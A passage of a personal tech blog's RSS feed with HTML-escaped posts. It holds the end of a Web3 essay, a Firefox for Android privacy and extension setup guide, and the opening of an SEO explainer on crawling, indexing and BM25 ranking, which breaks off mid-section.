In Web3, we assume the environment is hostile, yet by relying on cryptography and game theory, the system still runs correctly: &lt;code&gt;Can&apos;t be evil&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Web3 today exists in a superposition of &lt;strong&gt;the internet in 1995&lt;/strong&gt; and &lt;strong&gt;the gold rush in 1840&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It&apos;s chaotic, savage, full of scammers and bandits&lt;/li&gt;
&lt;li&gt;But there really is oil and gold buried beneath it, and the rails are already laid&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don&apos;t be the person clapping on the sidelines, and don&apos;t be the gambler with bloodshot eyes in the casino&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Be the engineer who sells the shovels, builds the railroads, or puts up the first real supermarket on the wasteland&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>Web3</category><author>Chongxi</author></item><item><title>Escaping Crude Chrome: An Android Firefox Tuning Guide</title><link>https://xice.cx/en/posts/firefoxAndroid/</link><guid isPermaLink="true">https://xice.cx/en/posts/firefoxAndroid/</guid><description>A Firefox Android configuration guide: privacy settings, must-have extensions and a fix for Gboard Autofill.</description><pubDate>Fri, 21 Nov 2025 09:19:27 GMT</pubDate><content:encoded>&lt;h2&gt;0. Intro&lt;/h2&gt;
&lt;p&gt;Recently, Gboard quietly pushed an update: &lt;strong&gt;Autofill that ignores every condition&lt;/strong&gt;
The behaviour of this feature is similar to the clipboard: you can tap the fill button straight from the keyboard suggestion bar and force a password or another field into the current input box&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./firefoxAndroid/1.webp&quot; alt=&quot;gboard1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./firefoxAndroid/2.webp&quot; alt=&quot;gboard2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Before this, &lt;strong&gt;non-Chromium browsers&lt;/strong&gt; (such as Firefox Android) &lt;strong&gt;could not properly invoke Google Autofill&lt;/strong&gt;. Even when long-pressing an input box, when a web page requested a password field it was often impossible to bring up the password manager directly from the system menu. This meant many users who deeply relied on &lt;code&gt;Google Passwords&lt;/code&gt; were forced to stay on Chrome, or to switch to third-party managers such as Bitwarden — a deeply disjointed experience&lt;/p&gt;
&lt;p&gt;After this update, Google Autofill finally works perfectly on Firefox Android. Chongxi can finally escape Chrome Android, that feature-bare browser&lt;/p&gt;
&lt;p&gt;This article mainly shares the configuration experience and extension recommendations I&apos;ve gathered since migrating to Firefox Android&lt;/p&gt;
&lt;h3&gt;0.1 Why Firefox?&lt;/h3&gt;
&lt;p&gt;Firefox is one of the few &lt;strong&gt;non-Chromium&lt;/strong&gt; browsers on Android today. In an age when Chrome is gradually monopolising web standards, using the Gecko-based Firefox isn&apos;t only about supporting the Other World — it also genuinely provides fairly good features, such as strong privacy protection and extension support&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Firefox Basic Configuration&lt;/h2&gt;
&lt;p&gt;Below are configuration examples; see the Notes that follow for specific explanations&lt;/p&gt;
&lt;h3&gt;1.1 General Settings&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Passwords&lt;/strong&gt;: it&apos;s recommended to set Firefox&apos;s built-in password saving to &lt;strong&gt;OFF&lt;/strong&gt; (if you&apos;re going to use Google Autofill)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payment methods&lt;/strong&gt;: likewise, &lt;strong&gt;OFF&lt;/strong&gt; is recommended; let a third party take over&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Remember to point the autofill service in Android system settings to the app you need&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.2 Privacy and Security&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTPS-ONLY&lt;/strong&gt;: strongly recommended; choose &lt;code&gt;Enable in all tabs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS over HTTPS (DoH)&lt;/strong&gt;: recommended, unless you use DoH elsewhere&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enhanced Tracking Protection&lt;/strong&gt;: choose &lt;strong&gt;Custom&lt;/strong&gt;, and check the following settings:
&lt;ul&gt;
&lt;li&gt;Cookies: &lt;strong&gt;Isolate cross-site cookies&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Tracking content: &lt;strong&gt;All tabs&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Cryptominers&lt;/li&gt;
&lt;li&gt;Known fingerprinters&lt;/li&gt;
&lt;li&gt;Redirect trackers&lt;/li&gt;
&lt;li&gt;Suspected fingerprinters: &lt;strong&gt;All tabs&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Tell websites not to share and sell my data&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[Configuration explained]
&lt;strong&gt;HTTPS-ONLY mode&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP is &lt;strong&gt;plaintext transmission&lt;/strong&gt;; account passwords and email contents are left naked
It&apos;s 2025, and a website that still doesn&apos;t support HTTPS is itself of dubious security
Once forced on, the browser will warn you when a website doesn&apos;t support HTTPS, preventing silent downgrade hijacking&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;DNS over HTTPS (DoH)&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Traditional DNS queries are in &lt;strong&gt;plaintext&lt;/strong&gt;, so your ISP or an attacker can easily see that you&apos;re visiting &lt;code&gt;chongxi.us&lt;/code&gt;
&lt;strong&gt;DoH&lt;/strong&gt; encapsulates DNS queries in HTTPS traffic, preventing &lt;strong&gt;DNS poisoning and hijacking&lt;/strong&gt; (such as an ISP injecting ads or redirecting you to phishing sites)
&lt;em&gt;If you&apos;ve already configured &lt;code&gt;私人DNS&lt;/code&gt; in Android system settings, you can turn this off to avoid the latency of double resolution&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Isolate cross-site cookies&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Firefox&apos;s signature ability. It locks each website&apos;s cookies in a separate sandbox
For example, &lt;code&gt;Facebook&lt;/code&gt;&apos;s cookies can only be read on &lt;code&gt;facebook.com&lt;/code&gt;, and cannot track you through third-party cookies when you visit &lt;code&gt;x.com&lt;/code&gt;. This greatly reduces cross-site ad tracking without affecting your login state on any single website&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Fingerprinting and tracker blocking&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Fingerprint tracking&lt;/strong&gt;: generates a unique ID from your screen resolution, battery level, font list and so on, and &lt;strong&gt;clearing cookies cannot remove it&lt;/strong&gt;
&lt;strong&gt;Redirect tracking&lt;/strong&gt;: blocks the middlemen that record you when links redirect; Firefox will try to visit the destination directly
&lt;strong&gt;Miner blocking&lt;/strong&gt;: kills those malicious JS scripts that use your phone to mine crypto
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Must-Have Extensions and Configuration Guide&lt;/h2&gt;
&lt;p&gt;One of the essences of Firefox Android; here are some quality extensions&lt;/p&gt;
&lt;h3&gt;2.1 uBlock Origin&lt;/h3&gt;
&lt;p&gt;The most efficient ad and content blocker on Android.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unlike commercial software such as Adblock Plus, uBO is open source, free, and uses very little memory&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[setup]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;设置&lt;/code&gt; -&amp;gt; enable &lt;code&gt;防止 WebRTC 泄露本地 IP 地址&lt;/code&gt; &amp;amp; &lt;code&gt;我是高级用户&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;规则列表&lt;/code&gt; -&amp;gt; (configure as shown below). If you need to browse in other languages, you can enable the corresponding language rules under &lt;code&gt;区域&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./firefoxAndroid/3.webp&quot; alt=&quot;uBO-rule&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If some websites stop working, you can add them to the whitelist
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 LocalCDN&lt;/h3&gt;
&lt;p&gt;A decentralised resource-loading extension&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Modern web pages reference public libraries from Google, Cloudflare and others in large numbers. This means that even if you never visit Google, Google can still learn your IP from those requests&lt;/li&gt;
&lt;li&gt;LocalCDN intercepts these requests and replaces them with &lt;strong&gt;locally bundled files&lt;/strong&gt; directly, cutting off cross-site tracking and saving bandwidth while speeding things up&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[setup]
Under &lt;code&gt;基础&lt;/code&gt;, just enable &lt;code&gt;禁用链接预读取&lt;/code&gt; &amp;amp; &lt;code&gt;清除被允许的请求中的元数据 &lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;2.3 Clear URLs&lt;/h3&gt;
&lt;p&gt;When you copy a link from bilibili and send it to a friend, the link is often terrifyingly long (for example, with &lt;code&gt;?utm_source=...&lt;/code&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This extension strips marketing parameters out of URLs&lt;/li&gt;
&lt;li&gt;Install and use; no extra configuration needed. It quietly cuts the little tracking tails off links in the background, giving you back a clean address&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 Random User-Agent&lt;/h3&gt;
&lt;p&gt;Mainly used to counter browser fingerprinting and the discrimination of certain domestic websites&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By forging the User-Agent, it makes websites think you&apos;re Chrome, or prevents them from singling you out by UA characteristics.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[setup]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Choose the browser to impersonate, such as Chrome&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;将当前操作系统与生成的用户代理同步&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Impersonating Desktop Windows is not recommended; the page will switch to the desktop version, which is a terrible experience to operate on a phone
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.5 Immersive Translate&lt;/h3&gt;
&lt;p&gt;Currently the best dual-language, side-by-side web page translation tool&lt;/p&gt;
&lt;p&gt;Nothing much to configure; it works out of the box&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Conclusion&lt;/h2&gt;
&lt;p&gt;Although Firefox&apos;s JS benchmarks on Android occasionally aren&apos;t as aggressive as the V8 engine, for the sake of a measure of data sovereignty and a high degree of tinkerability, this tiny performance cost is entirely worth it. How crude Chrome is is there for all to see&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>A Deep Dive into Modern SEO: Principles, Algorithms and Practice</title><link>https://xice.cx/en/posts/modernSEO/</link><guid isPermaLink="true">https://xice.cx/en/posts/modernSEO/</guid><description>A 2025 in-depth SEO guide covering crawling, indexing and ranking algorithms, with a systematic look at authority building and content optimization in practice</description><pubDate>Sun, 09 Nov 2025 14:02:03 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;SEO&lt;/code&gt;, that is, &lt;code&gt;Search Engine Optimization&lt;/code&gt;, is a complete set of technical strategies whose goal is to make it easier for search engines to understand and index your site, and ultimately to provide users with better search results&lt;/p&gt;
&lt;p&gt;SEO is a long-term process, and you need to keep adjusting and optimizing according to the rules and algorithms of search engines&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This post is complementary to &lt;em&gt;A Deep Dive into Modern Search Engines: From Principles and Algorithms to Efficient Retrieval Practice&lt;/em&gt;. I strongly recommend reading the earlier piece, &lt;a href=&quot;/en/posts/modernSearchEngine/&quot;&gt;&amp;gt; click to jump&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Crawling&lt;/h2&gt;
&lt;p&gt;Crawling is the first step in a search engine getting to know a website. Crawler programs visit web pages one by one through links and fetch their content.&lt;br /&gt;
Your site&apos;s pages must be crawlable before they can be indexed by search engines and shown in search results&lt;/p&gt;
&lt;h3&gt;1.1 Crawl Frontier &amp;amp; URL Discovery&lt;/h3&gt;
&lt;p&gt;Search engines rely on a system called &lt;code&gt;Crawl Frontier&lt;/code&gt; (the crawl frontier).&lt;br /&gt;
The crawl frontier is a list that manages URLs; crawlers fetch pages according to the URLs in the queue.&lt;br /&gt;
URLs are discovered mainly in four ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Internal Links&lt;/code&gt;&lt;/strong&gt;: the crawler discovers new pages through the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags in pages it has already crawled. For example, if your &lt;em&gt;Arch Linux Installation Guide&lt;/em&gt; contains a link to &lt;em&gt;A Detailed Guide to GRUB Boot Configuration&lt;/em&gt;, the crawler will discover the latter page through this link&lt;/li&gt;
&lt;li&gt;External links &lt;code&gt;Backlinks&lt;/code&gt;: links from other sites to yours are also an important discovery path. For example, if a rhythm game community, in an article rounding up the works of the composer xi, links to your &lt;em&gt;Which songs does xi have in maimai DX?&lt;/em&gt;, then that is an external link
&lt;em&gt;For the SEO of external links, see the &lt;code&gt;PageRank&lt;/code&gt; explanation&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Sitemap&lt;/code&gt;&lt;/strong&gt;: the site owner provides a &lt;code&gt;sitemap.xml&lt;/code&gt; that lists all the important pages of the site. Search engines can use this file to quickly learn what content exists under your site and index it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;History &amp;amp; Prediction&lt;/code&gt;&lt;/strong&gt;: based on previous crawl data, search engines predict new URLs. For example, suppose your URL structure is &lt;code&gt;/chongxi/1/&lt;/code&gt;; the crawler may infer that &lt;code&gt;/chongxi/2/&lt;/code&gt; might exist, and keep crawling&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 Crawling Strategies: BFS &amp;amp; Priority &amp;amp; Adaptive Scheduling&lt;/h3&gt;
&lt;p&gt;Faced with a huge number of URLs, crawlers need to manage crawl order efficiently
&lt;em&gt;The following may have already been covered in the previous search engine deep dive, so I&apos;ll keep it brief here as a review&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;BFS&lt;/code&gt;&lt;/strong&gt;: the most basic crawling strategy. Starting from a seed page, it prioritizes pages closer to the current one (fewer link levels)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Priority Scheduling&lt;/code&gt;&lt;/strong&gt;: modern crawlers dynamically adjust priority based on various signals, for example:&lt;/p&gt;
&lt;p&gt;1.&lt;strong&gt;PageRank&lt;/strong&gt;: if your &lt;code&gt;maimai DX Beginner&apos;s Guide&lt;/code&gt; is linked by many high-quality sites, the crawler may consider this page more important and crawl and update it first, &lt;em&gt;but &lt;code&gt;PageRank&lt;/code&gt; has long been a thing of the past, replaced by more advanced authority evaluation; see 3.3 for details&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;Update frequency&lt;/strong&gt;: for example, a page like &lt;code&gt;maimai DX attendance live feed&lt;/code&gt; may be crawled more frequently&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;User demand&lt;/strong&gt;: if &lt;em&gt;compiling a new OpenWrt version&lt;/em&gt; becomes a hot search, related tutorial pages may be crawled first&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 Crawl Budget&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Crawl Budget&lt;/code&gt; refers to the time and resource limits a search engine places on crawling a site. It consists of two parts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Crawl Rate Limit&lt;/code&gt;&lt;/strong&gt;: the limit on how frequently the search engine crawls your server. If your server responds quickly and doesn&apos;t produce large numbers of 404 or 5xx errors, the crawler will crawl more frequently&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Crawl Demand&lt;/code&gt;&lt;/strong&gt;: how much value the search engine believes a page has. For example, if your page is very valuable, or its content updates often &lt;em&gt;such as a frequently updated maimai DX song list&lt;/em&gt;, the crawler will crawl it more frequently&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1.4 Layers and Logic of Crawl Control Protocols&lt;/h3&gt;
&lt;p&gt;Site owners can control crawlers in several ways&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;robots.txt file&lt;/strong&gt;: located in the site&apos;s root directory; tells crawlers which paths &lt;strong&gt;must not be accessed&lt;/strong&gt;
&lt;strong&gt;Configuration example&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot;&amp;gt;&lt;/code&gt;: page-level control, placed in the HTML &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section
&lt;strong&gt;Configuration example&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means the page can be crawled, but &lt;strong&gt;must not be shown in search results&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X-Robots-Tag&lt;/code&gt;: controls crawling and indexing through HTTP response headers; suitable for non-HTML files (such as PDFs and images)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Indexing&lt;/h2&gt;
&lt;p&gt;Indexing is the process by which a search engine turns web page content into queryable, searchable structured data&lt;/p&gt;
&lt;h3&gt;2.1 Text Preprocessing Pipeline&lt;/h3&gt;
&lt;p&gt;Crawled page content goes through a series of processing steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Content extraction&lt;/strong&gt;: strip templated content such as ads, sidebars and footers, and focus on the core body text&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Tokenization&lt;/code&gt;&lt;/strong&gt;: split the article content into individual tokens &lt;code&gt;token&lt;/code&gt;. For example, the Chinese query &lt;em&gt;小米路由器刷openwrt&lt;/em&gt; would be split into &lt;code&gt;小米&lt;/code&gt;, &lt;code&gt;路由器&lt;/code&gt;, &lt;code&gt;刷入&lt;/code&gt;, &lt;code&gt;openwrt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Normalization&lt;/strong&gt;: includes lowercasing, lemmatization (e.g. &quot;running&quot; to &quot;run&quot;), and removal of stop words (such as &quot;的&quot;, &quot;了&quot;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 Core Data Structure &lt;code&gt;I: Inverted Index&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The inverted index is one of the core data structures of search engines. It maps &lt;strong&gt;tokens → the list of document IDs containing that token&lt;/strong&gt;, allowing fast lookup&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
Suppose your blog has the following three articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Article 1 &lt;code&gt;ID: 1&lt;/code&gt;&lt;/strong&gt;: title &lt;em&gt;The Ultimate Guide to Optimizing Steam Proton Performance on Arch Linux&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Article 2 &lt;code&gt;ID: 2&lt;/code&gt;&lt;/strong&gt;: title &lt;em&gt;Installing and Configuring i3wm on Arch Linux&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Article 3 &lt;code&gt;ID: 3&lt;/code&gt;&lt;/strong&gt;: title &lt;em&gt;A Few Steam Indie Games That Run Smoothly on Linux&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After text preprocessing (&lt;code&gt;tokenization&lt;/code&gt;, &lt;code&gt;normalization&lt;/code&gt;), the search engine builds the following inverted index table (&lt;code&gt;Posting List&lt;/code&gt;) for some key tokens:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Token &lt;code&gt;Token&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;List of document IDs containing the token &lt;code&gt;Posting List&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 2]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;linux&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 2, 3]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;steam&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 3]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;guide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;game&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[3]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;install&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[2]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Now let&apos;s see how the inverted index works when users perform different searches:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scenario one: a simple query&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a user searches &lt;code&gt;Arch&lt;/code&gt;, the search engine goes straight to the inverted list for &lt;code&gt;arch&lt;/code&gt; and instantly returns &lt;code&gt;[Document 1, Document 2]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scenario two: a boolean query&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a user searches &lt;code&gt;Arch Linux Steam&lt;/code&gt;, the search engine performs the following efficient &lt;strong&gt;intersection operation&lt;/strong&gt;:
1.  Take the list for &lt;code&gt;arch&lt;/code&gt;: &lt;code&gt;[1, 2]&lt;/code&gt;
2.  Take the list for &lt;code&gt;linux&lt;/code&gt;: &lt;code&gt;[1, 2, 3]&lt;/code&gt;
3.  Take the list for &lt;code&gt;steam&lt;/code&gt;: &lt;code&gt;[1, 3]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next, merge these sorted lists to compute the intersection:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- [1, 2] AND [1, 2, 3]  =&amp;gt; [1, 2]

 *then use the result of the previous step to continue the intersection*
 
- [1, 2] AND [1, 3] =&amp;gt; [1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, the search engine has &lt;strong&gt;within milliseconds&lt;/strong&gt; precisely pinpointed the only relevant &lt;strong&gt;Article 1&lt;/strong&gt;, without any need to scan the hundreds of millions of documents irrelevant to the query
:::&lt;/p&gt;
&lt;h3&gt;2.3 Core Data Structure &lt;code&gt;II: Vector Index &amp;amp; Semantic Space&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Modern search engines have introduced vector indexes to understand the &lt;strong&gt;semantics&lt;/strong&gt; of a query. Through deep learning techniques, each word or document is converted into a high-dimensional vector&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
Your two articles &lt;em&gt;How to Set Up Home Cloud Storage with OpenWrt&lt;/em&gt; and &lt;em&gt;How to Set Up a VPN Server with OpenWrt&lt;/em&gt; don&apos;t share exactly the same keywords, but their topics are related.&lt;br /&gt;
Through vector indexing, the search engine can turn their semantic relationship into distance in vector space and know that they both belong to the topic &lt;code&gt;OpenWrt advanced configuration&lt;/code&gt;. So when a user searches &lt;code&gt;OpenWrt VPN&lt;/code&gt;, the search engine may also recommend the &lt;em&gt;OpenWrt home cloud storage&lt;/em&gt; article
:::&lt;/p&gt;
&lt;h3&gt;2.4 Content Deduplication and Normalization&lt;/h3&gt;
&lt;p&gt;The internet is full of duplicate content. Search engines use deduplication algorithms such as &lt;code&gt;SimHash&lt;/code&gt; to identify similar content and index only one &lt;code&gt;authoritative version&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Article A: How to install the OpenClash service on OpenWRT&lt;/li&gt;
&lt;li&gt;Article B: OpenWrt OpenClash installation and configuration guide&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;If the content is highly similar, the search engine will consider them duplicates. At this point the &lt;code&gt;rel=&quot;canonical&quot;&lt;/code&gt; tag comes into play: it can explicitly tell the search engine which one is the primary version, and the weight of the other duplicates is consolidated into the primary version
:::&lt;/h2&gt;
&lt;h2&gt;3. Ranking Algorithms &amp;amp; Signals&lt;/h2&gt;
&lt;p&gt;Ranking is the process by which a search engine takes the thousands of relevant documents recalled from its index and presents them to the user in order of priority. This process involves multiple stages of filtering and scoring&lt;/p&gt;
&lt;h3&gt;3.1 The Multi-stage Funnel Model of Ranking&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The following was covered earlier, so here is a brief summary&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The ranking process can be seen as a funnel model, progressively filtering and refining results:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Recall &lt;code&gt;Recall&lt;/code&gt;&lt;/strong&gt;: through the inverted index and vector index, find several thousand of the most relevant candidate documents out of billions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coarse ranking &lt;code&gt;Coarse Ranking&lt;/code&gt;&lt;/strong&gt;: use a computationally cheap algorithm (such as BM25) to give candidates an initial score, filtering down to a few hundred most promising results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fine-grained ranking &lt;code&gt;Fine-grained Ranking&lt;/code&gt;&lt;/strong&gt;: use complex machine learning models that combine hundreds of signals to rank candidates more precisely&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-ranking &lt;code&gt;Re-ranking&lt;/code&gt;&lt;/strong&gt;: on top of the fine ranking, make final adjustments based on the user&apos;s personalization needs, recency and other factors&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.2 Core Coarse Ranking Algorithm: BM25&lt;/h3&gt;
&lt;p&gt;BM25 is a coarse ranking algorithm commonly used by search engines. It estimates the relevance between a document and a query based on a probabilistic model, and it is an improved version of &lt;code&gt;TF-IDF&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
Query: OpenWrt proxy service configuration&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Document A: &lt;em&gt;How to configure a proxy service on OpenWrt&lt;/em&gt;, 1500 words, the keywords &quot;OpenWrt&quot; and &quot;proxy service&quot; appear 10 times&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Document B: &lt;em&gt;OpenWrt Basic Setup Guide&lt;/em&gt;, 8000 words, also mentions &quot;proxy service&quot; a few times, but spends more of its length on DHCP, DNS and so on&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;How BM25 scores&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Term frequency (TF)&lt;/strong&gt;: document A has a higher keyword frequency, so it scores higher.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Document length&lt;/strong&gt;: BM25 penalizes overly long documents. Document B also contains the keywords, but because it&apos;s so long and its topic isn&apos;t focused enough, its score is dragged down, which prevents long documents from gaining an unfair advantage by containing more scattered keywords&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Term frequency saturation&lt;/strong&gt;: even if document A repeats &quot;proxy service&quot; 100 times, its score won&apos;t grow without bound, which effectively prevents keyword stuffing
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;3.3 Link Authority Models: The Sudden Death of PageRank &amp;amp; Modern Authority Models&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;PageRank&lt;/code&gt; is Google&apos;s early, revolutionary algorithm. It was the first to turn the chaotic links of the internet into a huge, computable &lt;strong&gt;network of trust votes&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A page&apos;s authority is partly inherited from the authority of the other pages that link to it. A link is a recommendation ballot&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::blue[EXAMPLE]
Suppose you wrote an article on &lt;em&gt;A Study of Composer xi&apos;s Famous BMS-era Tracks&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
